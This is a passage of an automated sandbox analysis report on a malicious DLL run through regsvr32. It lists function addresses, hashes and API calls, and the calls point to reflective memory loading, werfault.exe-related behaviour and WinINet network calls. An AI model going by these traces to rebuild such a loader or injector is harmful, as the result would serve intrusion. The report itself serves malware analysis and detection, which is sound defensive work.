0x7fef9d3e909
0x7fef9d3e90e
0x7fef9d3e918
0x7fef9d3e91e
0x7fef9d3e929
0x7fef9d3e934
0x7fef9d3e957
0x7fef9d3e963
0x7fef9d3e990
0x7fef9d3e9a2
0x7fef9d3e9a4
0x7fef9d3e9b8
0x7fef9d3e9c2
0x7fef9d3e9c7
0x7fef9d3e9d9
0x7fef9d3e9e5
0x7fef9d3e9f5
0x7fef9d3e9fc
0x7fef9d3ea09
0x7fef9d3ea13
0x7fef9d3ea1d
0x7fef9d3ea26
0x7fef9d3ea2f
0x7fef9d3ea3e
0x7fef9d3ea4b
0x7fef9d3ea52
0x7fef9d3ea57
0x7fef9d3ea5f
0x7fef9d3ea6a
0x7fef9d3ea71
0x7fef9d3ea76
0x7fef9d3ea7e
0x7fef9d3ea89
0x7fef9d3ea90
0x7fef9d3ea95
0x7fef9d3eaad
0x7fef9d3eabd
0x7fef9d3eada
0x7fef9d3eaf8
0x7fef9d3eb06
0x7fef9d3eb11
0x7fef9d3eb2e
0x7fef9d3eb38
0x7fef9d3eb43
0x7fef9d3eb49
0x7fef9d3eb4e
0x7fef9d3eb5a
0x7fef9d3eb71
0x7fef9d3eb7a
0x7fef9d3eb85
0x7fef9d3eb8a
0x7fef9d3eb97
0x7fef9d3ebc9
0x7fef9d3ebd8
0x7fef9d3ebda
0x7fef9d3ebe5
0x7fef9d3ebff
0x7fef9d3ec1a
0x7fef9d3ec22
0x7fef9d3ec27
0x7fef9d3ec42
0x7fef9d3ec4f
0x7fef9d3ec5a
0x7fef9d3ec77
0x7fef9d3ec82
0x7fef9d3ec8e
0x7fef9d3ec93
0x7fef9d3ec9c
0x7fef9d3eca9
0x7fef9d3ecb3
0x7fef9d3ecb5
0x7fef9d3ecc0
0x7fef9d3ecc2
0x7fef9d3eccd
0x7fef9d3ecd4
0x7fef9d3ece3
0x7fef9d3ece5
0x7fef9d3ecec
0x7fef9d3ecf1
0x7fef9d3ecf4
0x7fef9d3ed06
0x7fef9d3ed0e
0x7fef9d3ed10
0x7fef9d3ed1b
0x7fef9d3ed1d
0x7fef9d3ed22
0x7fef9d3ed28
0x7fef9d3ed31
0x7fef9d3ed4c
0x7fef9d3ed51
0x7fef9d3ed61
0x7fef9d3ed6d
0x7fef9d3ed76
0x7fef9d3ed82
0x7fef9d3eda5

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E785

Strings

9, xrefs: 000007FEF9D3E988
', xrefs: 000007FEF9D3E70C

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: '$9
API String ID: 1967237116-1823400153
Opcode ID: 96444a5ecc25f07181ec4491dd73a0df774b8fd8e649fad80ce219d3ce06daa6
Instruction ID: 29668378713c93b892a0041d725b85e979c1ad93fe9cb8202607dd12c91b0faa
Opcode Fuzzy Hash: 96444a5ecc25f07181ec4491dd73a0df774b8fd8e649fad80ce219d3ce06daa6
Instruction Fuzzy Hash: 0241C33660DA858AE7A18B19E8407AFB3E4F7C5752F100125E6D8C6AE8EBBDD4408F14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3D710 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

_unlock.LIBCMTD ref: 000007FEF9D3D7BF

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgdel.cpp, xrefs: 000007FEF9D3D78E
_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 000007FEF9D3D779

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock
String ID: _BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgdel.cpp
API String ID: 2480363372-1749241151
Opcode ID: 2b49e58eed8e6e59642ee45ba138bd684622393025d622caadb7daf1159c6293
Instruction ID: 04ee9255729ef7e149dbf43242f730f4bbed3ff16cc2c5ac2558ad9c7efde415
Opcode Fuzzy Hash: 2b49e58eed8e6e59642ee45ba138bd684622393025d622caadb7daf1159c6293
Instruction Fuzzy Hash: BC113D7AA2868686EBE49B94DC41B6D63E1F780755F205035E68E43BA4CB3DE404CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D41200 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_FindAndUnlinkFrame.LIBCMTD ref: 000007FEF9D4120D
_IsExceptionObjectToBeDestroyed.LIBCMTD ref: 000007FEF9D4125E

Strings

csm, xrefs: 000007FEF9D4121D

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DestroyedExceptionFindFrameObjectUnlink
String ID: csm
API String ID: 1826589669-1018135373
Opcode ID: 34ffa76e03f6f125ffde0022bc26c820041218dfec633c9b0636301340e9056d
Instruction ID: 9f3dc625307ec028be1fda2cc305f99b8c00c3b4febe2b6a2618c0b56fcdacc0
Opcode Fuzzy Hash: 34ffa76e03f6f125ffde0022bc26c820041218dfec633c9b0636301340e9056d
Instruction Fuzzy Hash: 61114232944681CADFA0DF79C8812BD27E4F795B88F615135EA5D877B1CB26D981C300

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2F3E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

_free_nolock.LIBCMTD ref: 000007FEF9D2F419

Strings

("Corrupted pointer passed to _freea", 0), xrefs: 000007FEF9D2F430
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\malloc.h, xrefs: 000007FEF9D2F445

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _free_nolock
String ID: ("Corrupted pointer passed to _freea", 0)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\malloc.h
API String ID: 2882679554-3458198949
Opcode ID: fcbdd2152eeca573d64b24b70be95bad50c5d4f9526249e7eb53e402592ebf7b
Instruction ID: d33f1896f8d52307a9012ea76dc3fce74adc3acb1f5112dbea688671cc213a85
Opcode Fuzzy Hash: fcbdd2152eeca573d64b24b70be95bad50c5d4f9526249e7eb53e402592ebf7b
Instruction Fuzzy Hash: 3B01F431A1C78286EBD09B6AE88576EB3D4F390350F614535E6CD43FA9DBBED4058B01

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exePID: 2440, Parent PID: 2632COMMON

Execution Graph

Execution Coverage:	16.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	4%
Total number of Nodes:	99
Total number of Limit Nodes:	14

Executed Functions

Function 002D0000 Relevance: 74.6, APIs: 4, Strings: 38, Instructions: 1094
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 002D0450
GetNativeSystemInfo.KERNEL32 ref: 002D0539
VirtualAlloc.KERNEL32 ref: 002D0580
VirtualProtect.KERNEL32 ref: 002D09E9

Strings

ddFu, xrefs: 002D0163
tion, xrefs: 002D0128
Cach, xrefs: 002D012F
urce, xrefs: 002D0340
Size, xrefs: 002D0311
RtlA, xrefs: 002D015C
Virt, xrefs: 002D00E0
Reso, xrefs: 002D0338
truc, xrefs: 002D0121
Lock, xrefs: 002D0330
sour, xrefs: 002D031F
ncti, xrefs: 002D016A
urce, xrefs: 002D035D
ativ, xrefs: 002D013D
Virt, xrefs: 002D00F8
Flus, xrefs: 002D0113
temI, xrefs: 002D014B
urce, xrefs: 002D02E7
Free, xrefs: 002D034D
ualA, xrefs: 002D00E8
Load, xrefs: 002D02F4
onTa, xrefs: 002D0171
hIns, xrefs: 002D011A
Reso, xrefs: 002D02DB
ofRe, xrefs: 002D0318
GetN, xrefs: 002D0136
eSys, xrefs: 002D0144
Slee, xrefs: 002D00B7
Find, xrefs: 002D02D0
rote, xrefs: 002D0106
urce, xrefs: 002D0304
lloc, xrefs: 002D00F0
Reso, xrefs: 002D0355
ualP, xrefs: 002D00FF
aryA, xrefs: 002D00D8
Reso, xrefs: 002D02FC
Libr, xrefs: 002D00D0
Load, xrefs: 002D00C8

Memory Dump Source

Source File: 00000004.00000002.1240656808.00000000002D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 002D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2d0000_regsvr32.jbxd

Similarity

API ID: Virtual$Alloc$InfoNativeProtectSystem
String ID: Cach$Find$Flus$Free$GetN$Libr$Load$Load$Lock$Reso$Reso$Reso$Reso$RtlA$Size$Slee$Virt$Virt$aryA$ativ$ddFu$eSys$hIns$lloc$ncti$ofRe$onTa$rote$sour$temI$tion$truc$ualA$ualP$urce$urce$urce$urce
API String ID: 2313188843-2517549848
Opcode ID: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction ID: 27af7da60f8e159f921c9c0965cb960fdb099243c951251c6f8f7bd1735e21d8
Opcode Fuzzy Hash: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction Fuzzy Hash: 1572D530628B498BDB19DF18D8857B9B7E1FB98305F10462EE8CAC7311DB34E956CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800248B0 Relevance: 4.1, Strings: 3, Instructions: 366
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

bW, xrefs: 0000000180024E6B
O}, xrefs: 0000000180024AB3
X, xrefs: 0000000180024D6B

Memory Dump Source

Source File: 00000004.00000002.1241261455.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: O}$X$bW
API String ID: 0-980370356
Opcode ID: e18e412b8bd09892e521a5e3965d89a97fc604b3097fc8c53db2340d1ed33825
Instruction ID: a62d154362f2d503ef0efb6b3a203e4a1ee478d45050cbe1ab820923c54e17f6
Opcode Fuzzy Hash: e18e412b8bd09892e521a5e3965d89a97fc604b3097fc8c53db2340d1ed33825
Instruction Fuzzy Hash: AA02F4715087C88BD799CFA8C48A69EFBE1FB98744F104A1DF4868B260D7F4D949CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006B24 Relevance: 4.0, Strings: 3, Instructions: 284
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

HG, xrefs: 0000000180006E14
C2, xrefs: 0000000180006EBC
"Gd, xrefs: 0000000180006E8F

Memory Dump Source

Source File: 00000004.00000002.1241261455.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: "Gd$C2$HG
API String ID: 0-142661339
Opcode ID: 9dab0733114c64659f8f05551e608b0018560ea730d37400ebf1bc7fe80e5bb8
Instruction ID: f3040b85d87bafdcd4b0814e46a5c4b4479db0c4bbfe4c952327208bca537128
Opcode Fuzzy Hash: 9dab0733114c64659f8f05551e608b0018560ea730d37400ebf1bc7fe80e5bb8
Instruction Fuzzy Hash: 20C112719047CD8FDB89CFA8C88A6ED7BB1FB48354F104229F80697660DBB4D949CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006F2C Relevance: 2.7, Strings: 2, Instructions: 185COMMON

Download Yara Rule

Strings

$!, xrefs: 00000001800070F4
e##, xrefs: 0000000180007141

Memory Dump Source

Source File: 00000004.00000002.1241261455.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $!$e##
API String ID: 0-2900154246
Opcode ID: c6b9a8fabe697f5b2ca67d9c03e63fc4ca39ad07d0e3d1e241ff45a68ef3815c
Instruction ID: 216da8bcfa57d9aa83ad41f20fe658cab1eb670466840fb7186bd91b9371edf3
Opcode Fuzzy Hash: c6b9a8fabe697f5b2ca67d9c03e63fc4ca39ad07d0e3d1e241ff45a68ef3815c
Instruction Fuzzy Hash: 7B8190705187889BD7E8DF14C4C979EBBE1FB98344F905A1CF89A8B261CB74C948CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002446C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 61
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET ref: 0000000180024567

Strings

Z*, xrefs: 00000001800244B6
Va, xrefs: 000000018002452C
&J@, xrefs: 00000001800244C7

Memory Dump Source

Source File: 00000004.00000002.1241261455.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: InternetOpen
String ID: &J@$Va$Z*
API String ID: 2038078732-1197100596
Opcode ID: 66813e264fa1cc35a44db824818c230c237c196eb5c6617bb8c0918fb9f82c0e
Instruction ID: 28a15b3c09fe6a2aa9f5eb42736a691d582ff290fd3432c8dba93e18a197623f
Opcode Fuzzy Hash: 66813e264fa1cc35a44db824818c230c237c196eb5c6617bb8c0918fb9f82c0e
Instruction Fuzzy Hash: 8A212F715187898FD3A8DF28C0493ABB7E1FB98319F408A1DE4CAC6391DB799448CB06

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001BF0C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 90
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 000000018001C04A

Strings

`/, xrefs: 000000018001BFA5

Memory Dump Source

Source File: 00000004.00000002.1241261455.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: `/
API String ID: 823142352-1163903809
Opcode ID: 9329703c180bff9c13a57ad2c9d4e17d6ae624210817fa9d3c733bf06a68d3a6
Instruction ID: f11eb3e7a352e1f1819d3b1e5829977cbaca57bf71308e5d5317c3bcacfeb84e
Opcode Fuzzy Hash: 9329703c180bff9c13a57ad2c9d4e17d6ae624210817fa9d3c733bf06a68d3a6
Instruction Fuzzy Hash: 6C3137B061CB848FD364DF18D48579ABBE0FB88314F504A2EE88DC3362DB749845CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016500 Relevance: 1.6, APIs: 1, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET ref: 0000000180016662

Memory Dump Source

Source File: 00000004.00000002.1241261455.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: ConnectInternet
String ID:
API String ID: 3050416762-0
Opcode ID: 696bad1b1d1373c4a188d8be72565791f44f69a250ba4c3bd44038e3e2a3a9cf
Instruction ID: 6bd4319daaf70d9cfa93cd172db4ac0144cd1887b423fd46bbb7d9a578168b32
Opcode Fuzzy Hash: 696bad1b1d1373c4a188d8be72565791f44f69a250ba4c3bd44038e3e2a3a9cf
Instruction Fuzzy Hash: 8C41F7705087848FC7B8DF58D48579ABBE0FB98315F108A5EE48DD7361DB749884CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017BF8 Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNEL32 ref: 0000000180017D42

Memory Dump Source

Source File: 00000004.00000002.1241261455.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 1949fae2aaba8b4119d5023be7d4790b480e02f5c580bad52ddd601b650acc4f
Instruction ID: e87697cfd510fd4059a611545946932b1d04e28e1a34b551021fd5cd6805f499
Opcode Fuzzy Hash: 1949fae2aaba8b4119d5023be7d4790b480e02f5c580bad52ddd601b650acc4f
Instruction Fuzzy Hash: AB31E770618B888FD7B8CF68D4857AAB7E1FB89315F508A1EE48DC7251CB749845CB43

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800149CC Relevance: 1.6, APIs: 1, Instructions: 91networkCOMMON

Download Yara Rule

APIs

HttpOpenRequestW.WININET ref: 0000000180014B07

Memory Dump Source

Source File: 00000004.00000002.1241261455.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: HttpOpenRequest
String ID:
API String ID: 1984915467-0
Opcode ID: 2abca7ab27ce1f38676343e57d0af3d26f331b1f8e41c5eb7387a3a1acb3ccf2
Instruction ID: c8d36c456ba033a28ec6fbd746a54a3663befea28eedef4c15a9fc959fe4c155
Opcode Fuzzy Hash: 2abca7ab27ce1f38676343e57d0af3d26f331b1f8e41c5eb7387a3a1acb3ccf2
Instruction Fuzzy Hash: D331607050CB848BE7B4DF08D4C9B9AB7E0FB98315F108A4DE48DD7296CB789484CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180011EF8 Relevance: 1.6, APIs: 1, Instructions: 88threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 000000018001202C

Memory Dump Source

Source File: 00000004.00000002.1241261455.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 43f2add25367f37c20804a12f5309876908a740bd4f725cbfb4cce081a5c4e54
Instruction ID: 87f7a9be59381a5b3d954798ed335bb6745bcd8ebd0cdd375d804fe942fcfa66
Opcode Fuzzy Hash: 43f2add25367f37c20804a12f5309876908a740bd4f725cbfb4cce081a5c4e54
Instruction Fuzzy Hash: 7A312B7160CB848FDBA8DF18E48579AB7E1FB98314F10465EE88CC7396DB309984CB46

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exePID: 2548, Parent PID: 2560COMMON

Execution Graph

Execution Coverage:	6.7%
Dynamic/Decrypted Code Coverage:	2.5%
Signature Coverage:	0%
Total number of Nodes:	1873
Total number of Limit Nodes:	40

Executed Functions

Function 000007FEF75312B0 Relevance: 210.9, APIs: 6, Strings: 114, Instructions: 872
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoLoadLibrary.OLE32 ref: 000007FEF7532F02
MessageBoxA.USER32 ref: 000007FEF7532F1C
ExitProcess.KERNEL32 ref: 000007FEF7532F27
VirtualAlloc.KERNELBASE ref: 000007FEF7532F57
RtlAllocateHeap.NTDLL ref: 000007FEF7532F65
CoTaskMemFree.OLE32 ref: 000007FEF7532F86

Strings

9[+, xrefs: 000007FEF7531FD6
.#(, xrefs: 000007FEF7531346
cDj, xrefs: 000007FEF75318E2
:!@, xrefs: 000007FEF753145B
(pd, xrefs: 000007FEF75321CA
Ko*h, xrefs: 000007FEF7532CC4
#z$U, xrefs: 000007FEF75321B6
Ya], xrefs: 000007FEF7531590
tc`, xrefs: 000007FEF75321C0
|X, xrefs: 000007FEF7531AC2
t(O, xrefs: 000007FEF75318C4
c-_j, xrefs: 000007FEF75321F2
M13U, xrefs: 000007FEF75317B6
C/, xrefs: 000007FEF7531E82
S}pn, xrefs: 000007FEF75322BA
|e:, xrefs: 000007FEF7532EDD
gVWH, xrefs: 000007FEF7531D88
%</, xrefs: 000007FEF75324A4
{fM$, xrefs: 000007FEF7531B8A
2s<S, xrefs: 000007FEF753236E
S[L, xrefs: 000007FEF753218E
L ]1, xrefs: 000007FEF7531842
oE, xrefs: 000007FEF7532418
*hH%, xrefs: 000007FEF753215C
%8#, xrefs: 000007FEF7531D06
werfault.exe, xrefs: 000007FEF7532E68
>~, xrefs: 000007FEF7531DA6
1\u, xrefs: 000007FEF7532CBA
"!k, xrefs: 000007FEF75321FC
PX5, xrefs: 000007FEF753265C
HPZ, xrefs: 000007FEF7532896
$D1v, xrefs: 000007FEF75315CC
mbPv, xrefs: 000007FEF7531423
%<, xrefs: 000007FEF7532CE2
"V2, xrefs: 000007FEF753280A
5vCx, xrefs: 000007FEF7532B98
hx", xrefs: 000007FEF7531B30
$}%z, xrefs: 000007FEF7532C7E
Puvm, xrefs: 000007FEF7532D0A
^*C, xrefs: 000007FEF753209E
4bB, xrefs: 000007FEF7532210
$:*:, xrefs: 000007FEF7532C74
rkE@, xrefs: 000007FEF7531415
V#s, xrefs: 000007FEF7531676
It, xrefs: 000007FEF7531CC0
&\hR, xrefs: 000007FEF7531EBE
Eekg, xrefs: 000007FEF75324D6
N1kj^H<M1vf@$_yiXP+o*hH*fZQl5vC5qjfXErgxjcCb4v_e75<edkge!z$U9k+h, xrefs: 000007FEF7532FBB
,1., xrefs: 000007FEF753258A
*hH, xrefs: 000007FEF7531386
Cb47, xrefs: 000007FEF7532D00
{$U|, xrefs: 000007FEF75323A0
5qj', xrefs: 000007FEF7531F90
?CE`, xrefs: 000007FEF7531BF8
;qdf, xrefs: 000007FEF7531A7C
QlyO, xrefs: 000007FEF7531D9C
jfX, xrefs: 000007FEF7531EF0
%U9, xrefs: 000007FEF7532A9E
wC54, xrefs: 000007FEF7532AF8
?x?, xrefs: 000007FEF7531D2E
U9#(, xrefs: 000007FEF75324EA
VO4, xrefs: 000007FEF7531BD0
<v:, xrefs: 000007FEF7531A4A
0.3, xrefs: 000007FEF75313AC
wk/, xrefs: 000007FEF7531784
U+on, xrefs: 000007FEF7531E28
MDj, xrefs: 000007FEF753281E
V9s, xrefs: 000007FEF753260C
-{*, xrefs: 000007FEF753285A
=kf^, xrefs: 000007FEF7531662
P+oo, xrefs: 000007FEF753233C
$huN, xrefs: 000007FEF7532DE6
Pl5, xrefs: 000007FEF7531E3C
-'C, xrefs: 000007FEF7531AAE
h78<, xrefs: 000007FEF7531AA4
w&ed, xrefs: 000007FEF7532288
@ , xrefs: 000007FEF75329EA
aUJ', xrefs: 000007FEF75317F2
kxfc, xrefs: 000007FEF75318A6
`AnM, xrefs: 000007FEF7532E6F
i~e, xrefs: 000007FEF7531FCC
M1vi, xrefs: 000007FEF75326F2
:9m?, xrefs: 000007FEF7532792
8<-, xrefs: 000007FEF7531BEE
,$n, xrefs: 000007FEF7531658
$931, xrefs: 000007FEF7531D56
ePO, xrefs: 000007FEF7531A04
} z$, xrefs: 000007FEF75329F4
N3, xrefs: 000007FEF753245E
M z, xrefs: 000007FEF7531438
0kj., xrefs: 000007FEF753144D
<M}O, xrefs: 000007FEF7531D6A
BxJr, xrefs: 000007FEF7531B26
:'U@, xrefs: 000007FEF7532490
}WL, xrefs: 000007FEF7531A22
%Uc, xrefs: 000007FEF7532E18
`I, xrefs: 000007FEF7532634
3ob, xrefs: 000007FEF75315EA
EBg, xrefs: 000007FEF7531F9A
+ong, xrefs: 000007FEF7532A3A
FLIn, xrefs: 000007FEF75328FA
pAT#, xrefs: 000007FEF7531B4E
!@C+, xrefs: 000007FEF7531824
xA\#, xrefs: 000007FEF753163A
}'6, xrefs: 000007FEF7531B76
+iT, xrefs: 000007FEF7532012
<)@P, xrefs: 000007FEF75315E0
j+h, xrefs: 000007FEF75328BE
mCl4, xrefs: 000007FEF75316C6
D)'U, xrefs: 000007FEF75322A6
e7tc, xrefs: 000007FEF7532C6A
g@$, xrefs: 000007FEF7532328
R;pB, xrefs: 000007FEF7531BBC
l|f, xrefs: 000007FEF7532080

Memory Dump Source

Source File: 00000005.00000002.944037719.000007FEF7531000.00000020.00000001.01000000.00000008.sdmp, Offset: 000007FEF7530000, based on PE: true

Associated: 00000005.00000002.944013265.000007FEF7530000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944079382.000007FEF7552000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944087822.000007FEF755B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944092955.000007FEF755F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef7530000_regsvr32.jbxd

Similarity

API ID: AllocAllocateExitFreeHeapLibraryLoadMessageProcessTaskVirtual
String ID: %<$Ya]$g@$$|X$ 4bB$!@C+$"V2$#z$U$$931$$:*:$$D1v$$huN$$}%z$%8#$%</$%U9$&\hR$*hH%$+ong$+iT$-{*$-'C$.#($0kj.$0.3$1\u$2s<S$3ob$5qj'$5vCx$8<-$:!@$:'U@$:9m?$;qdf$<)@P$<M}O$<v:$=kf^$>~$?CE`$@ $BxJr$C/$Cb47$D)'U$Eekg$FLIn$HPZ$Ko*h$L ]1$M13U$M1vi$MDj$N1kj^H<M1vf@$_yiXP+o*hH*fZQl5vC5qjfXErgxjcCb4v_e75<edkge!z$U9k+h$P+oo$PX5$Puvm$QlyO$R;pB$S[L$S}pn$U+on$U9#($V#s$V9s$VO4$^*C$`AnM$aUJ'$c-_j$cDj$e7tc$ePO$gVWH$h78<$hx"$j+h$kxfc$l|f$mCl4$mbPv$pAT#$rkE@$t(O$tc`$w&ed$wC54$werfault.exe$wk/$xA\#${$U|${fM$$|e:$} z$$}'6$}WL$It$"!k$%Uc$(pd$*hH$,$n$,1.$9[+$?x?$EBg$M z$N3$Pl5$i~e$jfX$oE$`I
API String ID: 2181984824-2032897877
Opcode ID: be2b6721a01229fe6d62131d54c2e067f3d2e24da2d5df3bb551e88fe72b0fff
Instruction ID: b6113464a3069b9c2ea7483fb119c14b36b3fc08ee8feeeb5aad03cf64425d1c
Opcode Fuzzy Hash: be2b6721a01229fe6d62131d54c2e067f3d2e24da2d5df3bb551e88fe72b0fff
Instruction Fuzzy Hash: CCE2C8F691A7C58FE3B48F62AA817DD3AA0F345748F509208D3991FA1DCB395242CF85

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF7537640 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 290
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoW.KERNEL32 ref: 000007FEF753764C
_calloc_dbg.LIBCMTD ref: 000007FEF7537671

Part of subcall function 000007FEF7534980: _calloc_dbg_impl.LIBCMTD ref: 000007FEF75349C6

_calloc_dbg.LIBCMTD ref: 000007FEF7537858

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c, xrefs: 000007FEF753765A, 000007FEF7537841

Memory Dump Source

Source File: 00000005.00000002.944037719.000007FEF7531000.00000020.00000001.01000000.00000008.sdmp, Offset: 000007FEF7530000, based on PE: true

Associated: 00000005.00000002.944013265.000007FEF7530000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944079382.000007FEF7552000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.944087822.000007FEF755B000.00000004.00000001.01000000.00000008.sdmpDownload File
